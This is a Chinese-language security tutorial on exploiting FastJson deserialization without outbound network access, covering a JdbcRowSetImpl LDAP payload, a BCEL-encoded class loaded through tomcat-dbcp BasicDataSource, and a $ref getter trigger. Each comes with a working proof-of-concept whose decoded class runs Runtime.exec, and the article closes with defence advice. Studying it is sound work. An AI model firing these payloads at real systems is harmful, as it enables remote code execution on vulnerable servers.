浅析FastJson不出网利用方式
字数 1129 2025-08-06 18:07:56
FastJson不出网利用方式深度分析
0x01 出网利用方式:JdbcRowSetImpl
在FastJson的出网利用中,JdbcRowSetImpl是一个经典的利用点:
public class FastJsonJdbcRowSetImpl {
public static void main(String[] args) throws Exception{
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/ZhALlpnN\",\"AutoCommit\":false}";
JSON.parseObject(s);
}
}
利用原理:
- 类名:
com.sun.rowset.JdbcRowSetImpl(通过@type指定) - 关键参数:
DataSourceName设置为RMI或LDAP地址 - 触发点:
AutoCommit布尔型参数触发set方法
限制条件:
- 需要出网环境
- 有版本和依赖限制
0x02 不出网利用方式:BCEL ClassLoader
BCEL利用原理
在ClassLoader.loadClass方法中存在特殊处理:
protected Class loadClass(String class_name, boolean resolve) throws ClassNotFoundException {
// 当类名以
$$
BCEL
$$
开头时,会创建该类
if(class_name.indexOf("
$$
BCEL
$$
") >= 0)
clazz = createClass(class_name);
// 使用defineClass加载字节码
cl = defineClass(class_name, bytes, 0, bytes.length);
}
BCEL编码过程
- 使用BCEL的
Repository和Utility类:Repository:将Java Class转换为原生字节码Utility:将原生字节码转换为BCEL格式
JavaClass javaClass = Repository.lookupClass(Evil.class);
String encode = Utility.encode(javaClass.getBytes(), true);
Class.forName("
$$
BCEL
$$
" + encode, true, new ClassLoader());
利用链分析
利用org.apache.tomcat.dbcp.dbcp2.BasicDataSource:
-
关键方法:
createConnectionFactory()if (driverClassLoader == null) { driverFromCCL = Class.forName(driverClassName); } else { driverFromCCL = Class.forName(driverClassName, true, driverClassLoader); } -
利用条件:
- FastJson ≤ 1.2.24
- 需要dbcp或tomcat-dbcp依赖
-
完整调用链:
BasicDataSource.getConnection()BasicDataSource.createDataSource()BasicDataSource.createConnectionFactory()Class.forName()触发BCEL ClassLoader
POC详解
JSON.parse触发方式:
String payload2 = "{\n" +
" {\n" +
" \"ki10\":{\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"
$$
BCEL
$$
$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j
$$
$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\"\n" +
" }\n" +
" }: \"Moc\"\n" +
"}";
JSON.parse(payload2);
JSON.parseObject触发方式:
String s = "{\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"
$$
BCEL
$$
$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j
$$
$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\"\n" +
" }";
JSON.parseObject(s);
BCEL Payload解码
BCEL编码的payload实际上是以下恶意类的编码形式:
package com.p1ay2win.fastjson;
import java.io.IOException;
public class Evil {
public Evil() {
}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
var1.printStackTrace();
}
}
}
解码方法:
public class BCELDecode {
public static void main(String[] args) throws IOException {
String encode = "$l$8b$I$A$A$A$A$A$A$A...";
byte[] decode = Utility.decode(encode,true);
FileOutputStream fileOutputStream = new FileOutputStream("DecodeClass.class");
fileOutputStream.write(decode);
}
}
0x03 JSON.parse如何调用get方法:$ref利用
利用原理
通过$ref可以触发getter方法的调用:
public class Test {
private String cmd;
public String getCmd() throws IOException {
Runtime.getRuntime().exec(cmd);
return cmd;
}
public void setCmd(String cmd) {
this.cmd = cmd;
}
}
POC示例
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
Object o = JSON.parse(payload);
调试流程
-
处理refvalue:
- 判断是否以
$开头 - 获取对象:
$[0]表示数组第一个元素 $[0].cmd获取第一个元素的cmd属性值
- 判断是否以
-
JSONPath解析:
JSONPath.eval() JSONPath.compile() -
反射调用:
- 最终通过
getPropertyValue()反射调用getter方法
- 最终通过
防御建议
- 升级FastJson到最新安全版本
- 关闭autotype功能:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false) - 使用白名单机制限制反序列化的类
- 检查并移除不必要的依赖(如dbcp、tomcat-dbcp等)